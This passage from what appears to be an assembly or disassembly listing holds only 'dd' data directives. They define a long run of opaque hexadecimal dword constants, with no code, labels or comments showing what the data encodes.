		dd 10805E8Ah, 0EF77BE74h, 81C082DAh, 65558FFEh,	1D1B076Dh
		dd 7039ABC3h, 0BFF19A23h, 4CA34606h, 0D587B82h,	5921970Fh
		dd 0FEA8D881h, 368F400h, 0AB3B9FCh, 64553006h, 0EF977BA8h
		dd 62219B18h, 15FBA31h,	8DDF4C2Eh, 0FCA19672h, 320ED0BEh
		dd 0EF036D75h, 815821Bh, 0E1AC8FF2h, 867CF612h,	0D8015083h
		dd 59888CD4h, 92642Ah, 876C4014h, 984900A8h, 33BC3AB7h
		dd 0E68A0080h, 36D5A781h, 0F73008EDh, 932DF178h, 4165672Ah
		dd 7E60E025h, 0ED006B54h, 391CF7B9h, 34A8C8h, 1805A4FCh
		dd 314BC3E6h, 0B995331Ch, 1E86E482h, 0AEA8A489h, 0DD875303h
		dd 0B15BE901h, 0B2B3FB0Dh, 8569047h, 2BBB24D0h,	0AA62405Ch
		dd 60FDDF9h, 0A140EA87h, 9C72E861h, 1EB2E080h, 0F68B349Ah
		dd 80556828h, 1CF08A1h,	69800844h, 54840EFAh, 8F01A26Eh
		dd 482F9A9Ch, 0EDD46CE2h, 78FF6157h, 24C676E0h,	8754DA5Ch
		dd 313BAA84h, 0B738808Ch, 0DB0DB6E1h, 67E709Ah,	0FE80671Bh
		dd 6218D14Fh, 0DAB96892h, 0BE41C08Bh, 4DD52CA6h, 0B87F8100h
		dd 845C572h, 7C30F9D8h,	8A871F38h, 376B52FEh, 0E69A2008h
		dd 418FA43h, 0BCA00CA4h, 0CC2306A3h, 697F2ABBh,	86B7B400h
		dd 0A88F2DFBh, 557C17h,	0F759D447h, 87520A6Dh, 0DBB36C0Ch
		dd 1D369183h, 40A75A33h, 89A43053h, 8030D9A8h, 0BC7A2101h
		dd 0CA2B01DDh, 33FCB1BBh, 6EA44843h, 0E28CE000h, 9DAC279Bh
		dd 3F2E1E64h, 0D72CCCE5h, 8A60DAA0h, 0BDB60749h, 5A1E00CFh
		dd 0A6804672h, 0F30140D6h, 0B102C69Dh, 826009D3h, 856628E0h
		dd 0EE8A0AE8h, 3846308h, 65C2F005h, 3B3183Fh, 0FCC15CF4h
		dd 0A0EF8A14h, 0FD9A6688h, 1C20499Bh, 0C032B067h, 835E3714h
		dd 0ACEE120Ch, 29E35049h, 99C8F61h, 0D0100280h,	93F68684h
		dd 8731FCA0h, 0F1D4E074h, 55A110D4h, 0AC48373Eh, 0BB0E9481h
		dd 7A188076h, 0BDB823A8h, 39176077h, 53ECFE13h,	3298D367h
		dd 5DE52911h, 1624C20h,	3B08CCAh, 8075DAD8h, 0ADB38F50h
		dd 0E878FD57h, 85E0009Fh, 0CEBF013Ah, 3C0786D7h, 4A6E3625h
		dd 50C03B0h, 166A00B3h,	0E5398568h, 2374FD46h, 0CD09612Eh
		dd 9FDC6200h, 78445C0Ch, 0BBFE5881h, 0C492007Ch, 0C13987C0h
		dd 50746ACh, 0C90E6ABBh, 662A4D60h, 0E64802C8h,	4B39B255h
		dd 9538A883h, 62ADA398h, 3FF4D90Fh, 0CF64257h, 0C2B4695Bh
		dd 2436D0E0h, 7F03A91h,	0CB5258EAh, 26AA3010h, 0B94D0D00h
		dd 9F1EDC09h, 0E4760031h, 570CCCA6h, 0CF0E247Ch, 4B8EE6C7h
		dd 0AF1C2F79h, 7875908Ch, 10141934h, 0F56210EDh, 0C6B45372h
		dd 1444D8A2h, 777020A0h, 2C296380h, 6074E93Fh, 0FA53E344h
		dd 77B42700h, 313910DDh, 3004127Bh, 2B450086h, 76E459A5h
		dd 0C5FAE2Ch, 5AF28347h, 19B20088h, 531D3E5Dh, 0DA52E6A0h
		dd 17BFAC20h, 96940001h, 0E25C20CBh, 7426B318h,	71CE6CFDh
		dd 6B61F800h, 0EF85A907h, 49D46900h, 0F9D1FBF2h, 68B3E3Dh
		dd 0D2C854B7h, 44C6A1BCh, 7895D238h, 1F2F020h, 1EBA78B2h
		dd 34C7E632h, 8E880D7Ch, 509200BCh, 10131E71h, 0B34C1A64h
		dd 80049390h, 0FA09594Eh, 38026029h, 0C9001C50h, 14011F3Bh
		dd 0B0923AF0h, 86BA0504h, 309089D8h, 814018B8h,	71C7238h
		dd 946249A3h, 0B41499FFh, 0E6966408h, 7C142092h, 0F4FA804Bh
		dd 78EC5730h, 19A36433h, 69AADD86h, 9531883Ah, 60D0A453h
		dd 5EF448EBh, 2CACD53Eh
		dd 7C01713Eh, 395838BCh, 82E4B089h, 0A0325007h,	0EA7B3DF4h
		dd 8064F675h, 0B8C33FB8h, 73B107CFh, 4CB6E869h,	34917BF0h
		dd 49FD8006h, 9BBB58C9h, 30D0282Ah, 0AD196521h,	0FE001BCAh
		dd 4637C411h, 0C52B832h, 4420E005h, 0D0003B50h,	0B93C3318h
		dd 0D61593FCh, 62D408F0h, 6F281980h, 70B6352h, 0BA476B2Eh
		dd 0A500BB91h, 998BDD2Ch, 8098445Ch, 0EB4CC71Ch, 0FC1034Eh
		dd 81B54AB9h, 795022h, 21FE52F4h, 8C948A4h, 814C0158h
		dd 0C88CB99Ah, 0C18063F9h, 747D2FF3h, 6A002631h, 23B296D5h
		dd 672A8DCAh, 20C55167h, 1046832Ch, 88924E60h, 1E0B5195h
		dd 0DD3A9299h, 806184A3h, 19448C69h, 67D2DE00h,	81923CF4h
		dd 89200743h, 1E9DB95h,	2479F2D7h, 9E2006E0h, 0E5871A9Dh
		dd 60410Ch, 0D80242F9h,	32F3A072h, 86B4E007h, 28BB48FAh
		dd 5105800Ah, 67A848D0h, 30D8083h, 0D7005518h, 0AAA7B245h
		dd 240BD015h, 5FB5AD2h,	0D483CAC8h, 66DC8328h, 40812ECh
		dd 0FC04BE52h, 0C32C89FBh, 99002324h, 64FD6BFh,	0E0619EF2h
		dd 3C8F49Fh, 2DD01F5Fh,	49A14AD4h, 8CC6FC5Ch, 610C30B2h
		dd 70628EC8h, 20534854h, 30D599C0h, 0D005BC8Ah,	96BF3A23h
		dd 0F4CB7081h, 348CC507h, 0C4E04290h, 0A7206120h, 6BCB03h
		dd 0EA058E8Ah, 96B95CF2h, 52F8CF1Fh, 3556E09Fh,	41FCA844h
		dd 5AA600C1h, 1B390505h, 459C202Bh, 0B2008F34h,	8C9E30ACh
		dd 0BA84D3h, 0B76FFA52h, 1402CA09h, 7F49F7E8h, 0E8010628h
		dd 306081FEh, 0C6491A2Ah, 87D796Bh, 210CD891h, 0DEB164h
		dd 6BDD0A67h, 2DBF9423h, 48758634h, 28498619h, 0E0159317h
		dd 6D8400EDh, 0B57CCF55h, 4461600h, 0B4EE8CBBh,	24809457h
		dd 7651058h, 2845FDB2h,	0C703BB77h, 2A1918AAh, 0CE3A597Ch
		dd 0A10083B8h, 0B2391A72h, 2FE6128h, 9C0C8235h,	6064FC80h
		dd 88F6226h, 2537CA40h,	80F35309h, 7506C808h, 84A50D09h
		dd 3CD07094h, 65C0E6EBh, 4C3A056h, 805ABCh, 0A449A39h
		dd 23658073h, 78FB5D00h, 0EC0B4FBBh, 45A300D4h,	0F287573Eh
		dd 8300523Bh, 0C9F60916h, 3D03932h, 59B4222Ch, 0FCE21C03h
		dd 0A001985Ah, 9CB564DCh, 3C622ABCh, 6C7F0076h,	2D0C8B04h
		dd 0B039089h, 850F526Bh, 20384AE6h, 9023705Ch, 91EA6416h
		dd 0A90FA04Ch, 0CF851C3Bh, 4490E8D8h, 961B5C58h, 8D8815Eh
		dd 822A7E11h, 7244443h,	80A54B41h, 0A49A800Ah, 1A027FC3h
		dd 0A8838AAFh, 0F6FE60B8h, 50B0BACFh, 41E29831h, 0DF88417Eh
		dd 0E1E0030Eh, 6064BA24h, 0EEAB24ECh, 9A7E86DCh, 0FC101984h
		dd 43281F0Fh, 0FB8C0040h, 11D2E872h, 5700C0AAh,	27C45C7Fh
		dd 90E5AF59h, 6C2120B4h, 2425D14Bh, 0E3DD8980h,	0F77C24h
		dd 0A98BE53h, 4EB29323h, 1E049149h, 601ED8h, 5A8A267Ch
		dd 172AF2D6h, 0D5781117h, 67027404h, 0C188FC04h, 46A5A64h
		dd 0BCBEF200h, 18E6C096h, 19686E76h, 2212CE23h,	0FC01951Ah
		dd 601CF8CCh, 0E0E2A7D9h, 58E43FD4h, 5F22B822h,	79449898h
		dd 0BED2E7Ch, 2ADC80A8h, 0C642061Fh, 338F200h, 0DEABE088h
		dd 8772162Ch, 949820D8h, 9902E4DBh, 8FA9672Fh, 20049C48h
		dd 1200A8EAh, 9824FD30h, 72E038AFh, 5EC00359h, 261467E8h
		dd 0BB8F183Dh, 4090B0EBh, 3EC3C6Fh, 0EEBCFB68h,	5900ACCEh
		dd 0DB2A23E4h, 3A253A38h, 4900AD8Ah, 64DAECEEh,	4C18AA5Fh
		dd 0D738352Ah, 0CA3E0FEDh, 7F876D32h, 0D21B83DAh, 3C301043h
		dd 0D7B004Eh, 44CB2C02h, 4125181Bh, 36A85249h, 8DAF993Dh
		dd 0B8E65CE0h, 0C888BCF1h, 5102EDFDh, 8E5F97ADh, 1808D87Ch
		dd 98ED6113h, 8F38A8F0h, 6CDDE7B1h, 30B0892Bh, 5038628Bh
		dd 391E6883h, 53816538h, 201D498Fh, 3C342983h, 0B0052BCCh
		dd 9660DEDDh, 0AE14B45Dh, 6DF085A8h, 2CCE0821h,	542E9C50h
		dd 441DEC6h, 40903094h,	6813F052h, 5AC4A808h, 23ED30E4h
		dd 0A5F6AD79h, 18D4EB57h, 6E59ABEAh, 0B5E52AEFh, 0A83A0A18h
		dd 8AF0EE01h, 0C889325h, 1771B430h, 0C743E900h,	0D6AE26Eh
		dd 89450A2Fh, 2B81911h,	0F9AE95DDh, 6E46ACA0h, 808B2698h
		dd 78C29EBh, 0DADCE9CFh, 0B9FC0E5h, 0AA2866FBh,	1C4498E2h
		dd 0CA64222Eh, 5B44CEEAh, 0B69718F4h, 13E85069h, 44DB1D07h
		dd 404024F0h, 0F20F5E63h, 36EF036Ch, 91662C62h,	7264B974h
		dd 3940BCC8h, 80FB2D2Fh, 0CAE85818h, 0F081AE61h, 90AF54EAh
		dd 1EAD0133h, 0E5C6BB98h, 38102450h, 0CA286956h, 0AB94D012h
		dd 88C2E028h, 0DF58C468h, 80F14B6Dh, 0FDD93249h, 1565744Eh
		dd 0A0603BF9h, 0EF9CDA01h, 5A9B72C0h, 0A7340440h, 68883AF9h
		dd 0A13300F1h, 31446239h, 0A33021BEh, 1FD491AAh, 4728C64Ah
		dd 5AE93162h, 0E958C23Ch, 15A4A1C6h, 0D4558C52h, 0BFCB5848h
		dd 74A234D2h, 3A428017h, 0A2A03352h, 0D444BF04h, 0F70049B7h
		dd 39B0C6A3h, 362D5F05h, 481D8A97h, 7764BC2Bh, 2B33976Ch
		dd 0A2D49175h, 599060E2h, 0A80A55E8h, 0BC538ED5h, 1994FBC6h
		dd 0A93F2661h, 884B0899h, 0E70C5112h, 71663DF9h, 0AAF6E5h
		dd 157FDDEDh, 470A549Fh, 64AC9813h, 7024181Fh, 0A69BE101h
		dd 0BC3090D0h, 2E81C101h, 0F2F06580h, 484A20B1h, 0FC287BBCh
		dd 3324A0A6h, 0EE129C25h, 462CA001h, 0C1F0B76Bh, 10B84913h
		dd 5A8210h, 46478886h, 387809h,	2D564D6Dh, 57409BE3h, 0E2595C01h
		dd 2B73821Fh, 0B0D3E0h,	60A63B25h, 417C07D7h, 3F47AC00h
		dd 7524BA20h, 9B2D005Bh, 5F0E8B54h, 7EE45C9Dh, 3563A000h
		dd 22D3A761h, 40946027h, 0AB348205h, 0BA1A80h, 5E55BC89h
		dd 3C97229Bh, 60CE5300h, 27821B9Fh, 7A3FCE7h, 0A5F8F5D3h
		dd 81EE205Fh, 4703DD38h, 8669243Ah, 0A15EE1BCh,	4468062h
		dd 0F840F5ABh, 34841F3Bh, 0D85548C2h, 3A965300h, 0DA58CE2Bh
		dd 757BD83Fh, 0D9A88401h, 3193E522h, 0C7EEAECh,	0F3956727h
		dd 4D007841h, 641D451Bh, 0CD5208h, 28E99F49h, 9B615B46h
		dd 8537F000h, 16E057C4h, 4073FA36h, 8E108647h, 7F4C6Bh
		dd 0A7564364h, 85079F5Ch, 52344000h, 0E51F26CFh, 0B39B00D7h
		dd 0AA37361Ah, 0D500F695h, 32BF8E4Eh, 9512A21h,	99564271h
		dd 8B663884h, 4580AE94h, 718A7724h, 982D4B05h, 82C06454h
		dd 9F5BA7h, 0E7468120h,	1BD9A345h, 5A9A3B09h, 736000B0h
		dd 3C70D7h, 6D917F20h, 0E36162A0h, 5D3A8A00h, 13B097CEh
		dd 2E370733h, 0C0FC5C59h, 0E630D028h, 7F87E80Ch, 0E8224069h
		dd 2772408Ch, 0F99E300h, 0DA97A552h, 427D001Fh,	0E56A2D5Dh
		dd 9307FF1Bh, 34E8E04Dh, 0A70DD17h, 438691Dh, 2D2BA0BCh
		dd 0A5280120h, 8C66639Dh, 9C8BF0ABh, 0BA09003Eh, 2B32758Ah
		dd 88005326h, 9D592C44h, 0ED7C0C9Fh, 20D49A00h,	5CA5FA01h
		dd 3478D9D8h, 4847D0h, 2E917B09h, 1E615A53h, 5714940Fh
		dd 1CE20099h, 1F5934C4h, 80B16A60h, 8130D650h, 37007B62h
		dd 0D0A926Ch, 1C6F8984h, 8E562761h, 5CC33F64h, 79F89F58h
		dd 53005E45h, 3BEFAF6Ah, 0E44DD3h, 0AB287E18h, 81FA0A59h
		dd 0A0B9341Dh, 971F42C0h, 5A75A01h, 0C3ECA45Dh,	9DAC823Ah
		dd 0D6589820h, 818726EBh, 0DF046808h, 1CEE00FDh, 25242054h
		dd 21F55207h, 0B21F819h, 344A3749h, 18212AB0h, 3E86D500h
		dd 1FFA040Bh, 3C297222h, 6621DC09h, 37E4D441h, 0FCDFD801h
		dd 5E01C105h, 0F38F5663h, 910ADCEh, 6100A5E8h, 6B450334h
		dd 0E844FB2Ch
		dd 0EC21C005h, 0F7F9A5FFh, 0CE81BD00h, 565E9E42h, 745500FAh
		dd 0F440634Ch, 1D006913h, 1215288Bh, 0C0B6F988h, 0B8206770h
		dd 5300A5E5h, 0A96D32E4h, 0B57360Bh, 0BE893A3Eh, 343840E8h
		dd 0FCB4DD00h, 45DB49BCh, 411CACE7h, 80506C34h,	63E805D7h
		dd 0AA6D032Fh, 365EEC82h, 46EE58B1h, 7560A870h,	2DE0DEA1h
		dd 3A462F54h, 404A0AFh,	0C9B81864h, 3AFA88ADh, 1401095Eh
		dd 0B927BA3Bh, 38498883h, 290061E0h, 64702FF0h,	6098AF99h
		dd 8DB49956h, 0E3D27A5h, 0F45D000Dh, 0AB1FA096h, 0C4881813h
		dd 80BC3048h, 30596B40h, 34B1AEF1h, 9C601254h, 4F4618A0h
		dd 0D1970C3Ah, 50208EFDh, 3156EE01h, 0DDCAB90Dh, 0F742CECh
		dd 26F0940Ch, 0EB4607h,	44BB3449h, 0CAA187F4h, 7C062A98h
		dd 10B93929h, 1D3EF47Fh, 7E963Fh, 0A1857E49h, 14CD8A8h
		dd 15DD5F66h, 8418B630h, 707C3F40h, 0A08C3093h,	0FD29CF2h
		dd 56C99D51h, 1459FFC3h, 0D424A986h, 0A88048BFh, 0CCE9D364h
		dd 65C00E2h, 1037EDD5h,	8401869Ch, 0D8E43F43h, 29CC7A0Eh
		dd 39C560D4h, 0ED4CCDAAh, 93CF9801h, 7339E33Bh,	0CB4BFDCh
		dd 5BF87F67h, 0A8183AC0h, 0E8D8108Dh, 7BC3186Ch, 149A971h
		dd 97935600h, 4C552DC5h, 2A3C1438h, 0F100B057h,	719DE9C0h
		dd 3F2F4660h, 0C504A081h, 18708384h, 91C4D0E5h,	0BEE8255Dh
		dd 0BC181D00h, 0E46CCEC1h, 0FEB00036h, 0EB1087A3h, 3A0E3943h
		dd 0DFDC166Fh, 0FA68A1D8h, 44340C68h, 0FE103B98h, 0C9A2C001h
		dd 0A3FD1D49h, 181466C8h, 208BD42Ch, 72EE4C03h,	33025171h
		dd 3AEDA088h, 544042FFh, 7850B1A0h, 59180097h, 0ED5C005Eh
		dd 65DADCF1h, 0E163E002h, 0C0992C30h, 0FC0DDF59h, 49AD67BDh
		dd 71D01634h, 0B6D3B4A0h, 0DFC661C2h, 8570542Ah, 333C88h
		dd 478610B4h, 1F012543h, 59BCA0EBh, 0F850D9EAh,	64FE4BDCh
		dd 0C8905098h, 0ECE85148h, 3D3C7491h, 0E6520187h, 64DB54F1h
		dd 18F856D6h, 402A219Ch, 7C995200h, 0C8E3FA3h, 0FD100373h
		dd 379467EBh, 30C2884Ah, 5474648Ah, 0E0DD0C2h, 6DE730Eh
		dd 7E3A2160h, 3B0005B7h, 62D923B5h, 398C1330h, 5A0C1949h
		dd 0AF3992D1h, 47ABE700h, 0AD8AFD38h, 0F0869510h, 0FC0021B3h
		dd 8FA2ABEFh, 1A5A88Ch,	0D7C7B234h, 946CDEC6h, 49D388B9h
		dd 12B83F04h, 0B4271809h, 96076554h, 1195DAEh, 0C81028Ch
		dd 0EC520846h, 82C444F1h, 523E2840h, 0E804F9A6h, 0A3BA0B4Bh
		dd 0D46532C1h, 0C60E5022h, 462027A4h, 253266FEh, 98202800h
		dd 337DE915h, 6DF22454h, 1439E30h, 71E60295h, 0E30020E1h
		dd 488CDE41h, 94799FE4h, 61BD2930h, 52E5610h, 0BF37782Dh
		dd 36C041A8h, 868D3834h, 0B0D1E858h, 6C4D0019h,	0A8918A03h
		dd 361D2BBDh, 80E4403Ch, 686AE981h, 0D0CFE826h,	4D3B66FAh
		dd 8F00C497h, 0E96E6128h, 0D0C5ADBh, 82AE3BBh, 2221C12Bh
		dd 0F4BF6E58h, 0D104FFA3h, 8A2FEE61h, 0F48054D4h, 1C8F6EE1h
		dd 24A95049h, 5244C040h, 0F421F1EAh, 0F9B91DAh,	0E1523C26h
		dd 62E82FACh, 0FB02DC40h, 5048F966h, 0E86E085Eh, 34C452DBh
		dd 6E592340h, 837A8AEEh, 97046800h, 4AFB696Ah, 842E2615h
		dd 0F07487ECh, 60E327D4h, 8CFF530Dh, 0A8380804h, 50BCFAA9h
		dd 46185F12h, 615B987Ch, 0C2E87200h, 537B75C7h,	0EDD80202h
		dd 6D30108Ch, 6CFCC882h, 0F9D64900h, 0F170064Dh, 49450C2Fh
		dd 4CA16044h, 0C50B8361h, 80026F17h, 6600B3B1h,	0E96B3BFAh
		dd 62ED5901h, 2BDE0450h, 30A8254h, 80FF11B0h, 0F1EB5241h
		dd 82448CECh, 52390027h, 5FBE6F0Ah, 1300C794h, 633AB126h
		dd 6662975h, 61DE7CFBh,	2A5888ABh, 6B7A1088h, 496A801Bh
		dd 0DDEEE099h, 188080B8h, 5A013958h, 8720B136h,	7B320BCBh
		dd 0E16E8F00h, 850050BFh, 60EE2FE0h, 2613C641h,	8060FCD1h
		dd 295BCEA3h, 9E0719E1h, 243F499h, 0F664A180h, 25BB0F3Fh
		dd 0E76544E3h, 8AF840DDh, 127BB90Eh, 80A9132Eh,	0D167E909h
		dd 4F21610h, 1F2CFCF8h,	53BD4981h, 0D45332E5h, 0D70A9C4Ch
		dd 3DFA62E0h, 4C043444h, 2FF887F1h, 0E97320D0h,	0C8C009BAh
		dd 648E0257h, 39A893C0h, 7F3FAA30h, 0DB07985Ah,	20542E60h
		dd 6309916Ah, 0E0673094h, 885698D8h, 3200A865h,	0C2E03D15h
		dd 1310ABEh, 13796AC9h,	0B23ADC30h, 6C576878h, 0ABF00498h
		dd 62253840h, 18CF20ACh, 2E12E1ABh, 30F4F15Ah, 7A821536h
		dd 0C75E059h, 967BEF3Ch, 4D009911h, 0AD30F6D9h,	2459C7Eh
		dd 8F218BAh, 0D489704Ch, 7F1D9C72h, 9A00B96Fh, 0D6ADBF0h
		dd 17AEA1E0h, 4D1820h, 515BEA66h, 0F5A839FDh, 6A2C0CA0h
		dd 0AA71281Dh, 0D08AD049h, 20053AC0h, 58A09850h, 24109CE7h
		dd 0C72912E2h, 8A5E58F0h, 605D8404h, 2346ABE6h,	0AE11D538h
		dd 0ABEEFD00h, 0ECBF1B36h, 6A55F900h, 8090A8ACh, 332B8893h
		dd 69C65801h, 241815B8h, 0E3B6C0h, 7DAD7E0h, 59F04622h
		dd 0D0BDBC24h, 440CDD09h, 66F12050h, 51978030h,	564492h
		dd 0DD77A45Ch, 0AB575279h, 2B16E300h, 536050AFh, 6F7A3096h
		dd 0D956B131h, 57751801h, 201D4A0Eh, 7C532024h,	6014968Fh
		dd 345EA5E7h, 9144FB21h, 0FEE90903h, 0B59680A5h, 0EDD360h
		dd 26EC8AE2h, 68CE3921h, 35D48297h, 0BF68E07Fh,	70C88CDBh
		dd 0A5F5C0EEh, 0B213444h, 69145h, 0F4A5ECEFh, 5C388C33h
		dd 25714AC4h, 3C222C97h, 4527C01h, 6CF2B700h, 96F51985h
		dd 42A704DAh, 0A06FE038h, 545CBC88h, 1A5F0038h,	3C562248h
		dd 46F213FFh, 0C4141C4Ch, 0C1BD8966h, 0C8D8E91Ch, 2C3957D2h
		dd 0DDEF8131h, 4BBC52DCh, 97C29828h, 75006734h,	0FD7FF71h
		dd 44CCE628h, 8D1ECB00h, 31075292h, 887397B1h, 4360F101h
		dd 0B9B86081h, 0FF1559FFh, 69F8F141h, 89953AB8h, 8373107Ch
		dd 22D18AC2h, 4490C678h, 0FF72310Fh, 4C5328Eh, 1FC0389Bh
		dd 5EB46579h, 0D5088804h, 5CC19FFFh, 4900A1D8h,	0E648441Dh
		dd 0C0F58818h, 3443A5EAh, 222F346h, 0A601EE00h,	0B499E321h
		dd 0BA352E97h, 0A5DB4464h, 0A2DC40C4h, 3700ED85h, 0FAE23844h
		dd 201513BCh, 0B609E4DCh, 4699CF4Fh, 671814ECh,	2522F0BBh
		dd 7EB2D00Ah, 0E12508DEh, 606048A0h, 4A028CEEh,	24F1E852h
		dd 8010E5DBh, 8552422Ch, 972AA446h, 2400C85Dh, 0C2CFB47Bh
		dd 7474B8Ah, 3A4EE0C6h,	1D4C6076h, 4D26CBE4h, 581C38D7h
		dd 9E2917E0h, 49040244h, 647E48ADh, 0B7501762h,	38F303D8h
		dd 0F1FB4C2Ah, 91601DE8h, 58203471h, 0A5DB0886h, 5116E577h
		dd 0F11BA305h, 0ACE99FC1h, 0CDF79FCh, 6E7BEA8Bh, 39000459h
		dd 0D8E49F37h, 0B67C910h, 980FC05Fh, 0A8910C1Dh, 88640093h
		dd 0F316A759h, 7E6AE600h, 2C365CECh, 0A8396494h, 5B6880EAh
		dd 0F0969DE2h, 1F0E3108h, 3F0EE64h, 843C33DBh, 0FA17309Eh
		dd 0D0604266h, 10F66E44h, 0DC0CE2DBh, 5F2103E2h, 9972AF6Eh
		dd 64D307F8h, 2A4C3313h, 0ED9E0CC0h, 94915043h,	0B0390CF0h
		dd 4F80AFFDh, 826B3E01h, 0E27635B2h, 2C9DC70h, 390B1B87h
		dd 0D8E66755h, 5778FC80h, 0F0D66F2Ch, 0F211946Ah, 60A5E980h
		dd 968CEB34h, 6F0BDA4h,	98B840A5h, 5900C15Ch, 0FF4BFD39h
		dd 1726AAEFh, 400AAE4Eh, 0DF5FCA10h, 80903F02h,	9480F57Dh
		dd 0BEE4942Ch, 451D9017h, 8BAF0B0h, 0EDC758E4h,	0A43845F3h
		dd 0D2C088B2h, 5497ABF5h, 0E013B101h, 9F1E7285h, 7C2058A5h
		dd 0DA68354Dh, 0DFBFA514h
		dd 509F17A4h, 0F82DF904h, 51DE0F0h, 98A7228Eh, 4C649052h
		dd 10736013h, 61023090h, 0F6EE97Ch, 5A870034h, 70B9C3A2h
		dd 51A0428Bh, 46EC1184h, 0C0C6B368h, 0F48868A7h, 8ADD0D5Dh
		dd 2899D898h, 8C2DBC50h, 0FE6AD100h, 53174912h,	45C90BEh
		dd 0DA5433DCh, 24E50432h, 8860B8B0h, 3C173447h,	50456AA0h
		dd 30804BDBh, 9AE3E01Dh, 2CCC3B4h, 1059AF94h, 39A89968h
		dd 0E7744019h, 54A42ADBh, 2083144h, 0BDA06E56h,	1CC02E3Eh
		dd 1C90234Ch, 9031520h,	9254B446h, 0B7BCC21h, 139C30AAh
		dd 2C08025h, 72617E4Ch,	0B5CE2DF8h, 9815E820h, 327264F7h
		dd 0D9968007h, 0BED5EB54h, 20E15494h, 0FA3113C7h, 0C2A82710h
		dd 3071AEE7h, 0DD0E8C90h, 845557BDh, 23642E5Ah,	0E120202h
		dd 285123F2h, 2C980738h, 0FF76C559h, 97F208C9h,	7B3C9136h
		dd 2943EA0Bh, 2DB482D5h, 463446D6h, 0ABEA1759h,	33F52C09h
		dd 0D140AC34h, 67CABF2h, 5C06100h, 0D443D6CCh, 0EF21C9CEh
		dd 0CA48D08Eh, 19B8D10Ch, 468300E0h, 0EE977619h, 0EB09338Ah
		dd 3152949h, 0C63AF91Bh, 0E95918B9h, 0EF49D9B2h, 0BFF1033Ah
		dd 0F0D4D024h, 0BC1DDB0Dh, 18FD60A9h, 88E0E036h, 0E33E45EEh
		dd 0A37B2779h, 0F791E980h, 0F86DD401h, 964CEC41h, 1AAC8104h
		dd 537B0197h, 0EEC03180h, 342490D4h, 660A4C13h,	2723E43Eh
		dd 200FC300h, 243F363h,	0F138F7F9h, 0A06AF8D1h,	97A3C680h
		dd 9C015155h, 79415F94h, 5EE4A54Bh, 54341239h, 0F094C14Eh
		dd 0B8586850h, 5E008C9Eh, 6201A4DCh, 9CABD3C9h,	2FF18040h
		dd 0D872585Fh, 33E5E050h, 8789BB00h, 3A1EA682h,	12A30236h
		dd 0C0DD7588h, 4744EC52h, 33C20EDAh, 0A0D8B02Ch, 6A1697E8h
		dd 5030A175h, 0B4E3C63Dh, 20804144h, 64B80537h,	0F6A45480h
		dd 0C8965895h, 0F3733340h, 564704A3h, 9536456Dh, 57C40898h
		dd 3B84E89Fh, 98E013C6h, 4899C3E2h, 0EEA33646h,	32EABEE9h
		dd 0C31C5830h, 0B806A7F2h, 5B99107h, 4DFA5F5Eh,	10909868h
		dd 2A447624h, 0F8641D16h, 0FD7C4483h, 34816884h, 0C1042A6Ch
		dd 6916A530h, 5A9718A0h, 7A24F4A9h, 35EE00C7h, 0E90632BFh
		dd 72C9BAD2h, 0D7BCC0D9h, 345382E2h, 33268073h,	0CFC113FDh
		dd 0BC690968h, 60560084h, 2343ABEBh, 0A7111D38h, 0ABF3D000h
		dd 0AAAF87DAh, 0D652C6FAh, 37EE04DCh, 0F00064C8h, 3C729295h
		dd 7C0D384Fh, 7466E963h, 155502F0h, 0B3764D00h,	0FB8528D6h
		dd 17A40046h, 81353B49h, 4F7758F3h, 0F9DF391Ch,	522810A7h
		dd 0DC7300BBh, 0C7452FB3h, 8D01852Eh, 30EDE018h, 0E9ECA393h
		dd 0B2094F0h, 7B89D2C8h, 4A195860h, 16DE61Dh, 0AA58943Dh
		dd 0C2F188C0h, 7CC1A5F6h, 402C2A13h, 0A5ED00F2h, 178E324h
		dd 6F00227Dh, 104F9A19h, 905B14A6h, 0DE3D2F0Ch,	18693442h
		dd 4CD80171h, 0C7F376E0h, 0C9D1B309h, 0C5660CA0h, 8200113Eh
		dd 814A50C1h, 0D0FFC2h,	7E878D75h, 9E03A0Ah, 2040124Fh
		dd 0B628AD69h, 0EB583F4Fh, 92494960h, 219539DFh, 31AC3708h
		dd 0BD136107h, 10D463BBh, 80156A98h, 3000B092h,	1C1DF095h
		dd 88027A84h, 0A723815h, 0FC5AD1h, 0D0F0ED2Ch, 60A24AE8h
		dd 68230C90h, 4B5B1F6Fh, 8C90C1FFh, 22846A5Ah, 40B0E22Dh
		dd 2C3CC774h, 9C484A28h, 6E42C040h, 0F246DBF4h,	1F002C22h
		dd 6CC66E5Dh, 71D9D1Ch,	0CCF3FE9Ah, 609F26C8h, 542DD905h
		dd 40483566h, 82CACD4h,	64070C09h, 99E4CC7Fh, 20F624B6h
		dd 0ED3F1A04h, 0A8F47A8Bh, 975A00F2h, 57E3B3C8h, 0A2023665h
		dd 0DFA5E5D3h, 1170F1A8h, 7FF0068Dh, 90883F24h,	0FCFD21C4h
		dd 0F9333B0Dh, 52F0C060h, 9010E4B7h, 0BDDB0A39h, 8662BC2Fh
		dd 907CB88Bh, 0B38920DFh, 8C2FE612h, 892A0C1h, 0EEA830h
		dd 3FB8C0FEh, 0BC2FE9EBh, 5E101252h, 0AC23582Fh, 5A09832Ch
		dd 56940336h, 0D844F880h, 0A04A4D8Dh, 238C2E5Bh, 84C200A1h
		dd 7EB28D7Fh, 89C68700h, 6C3A4ED6h, 0BC881313h,	64D4423Ch
		dd 6048B7CEh, 9B001CF4h, 0A54A98E0h, 0FC776056h, 0E1F107D2h
		dd 14345CA2h, 0EDD893CCh, 59BAEBD8h, 64AE1525h,	97741FE0h
		dd 20C4E8DCh, 4364CCB0h, 0E6403DD0h, 0E1040E9Ah, 6437F902h
		dd 56308868h, 0A2E20070h, 2438B913h, 2C146A04h,	7CA96854h
		dd 32BDB312h, 5125520Ch, 0A0E26CE2h, 402030h, 0B3F66834h
		dd 0E88ABB41h, 0CB04E3E4h, 2EB46071h, 407804A9h, 361E4DABh
		dd 1A27A75h, 37E48AD0h,	80D2A1C5h, 7FBF4E42h, 5FC607C0h
		dd 46E08385h, 0B490482Eh, 2C8F3108h, 874A0864h,	0A8E27B05h
		dd 88C3E0F4h, 38B1E1C6h, 44606607h, 903A0318h, 9029495Eh
		dd 0A918BCACh, 85475C18h, 66FD8602h, 2E1C6C3Eh,	12046E60h
		dd 2588CB42h, 2EF025h, 0CEC9C62Eh, 10A21BF4h, 41B26B00h
		dd 38943AAEh, 4400B4B3h, 90CE499Ch, 0A0F7CAD8h,	37D8C2h
		dd 0F0D3D768h, 5A146B66h, 0F10120E4h, 0B1A46E0Fh, 9441C722h
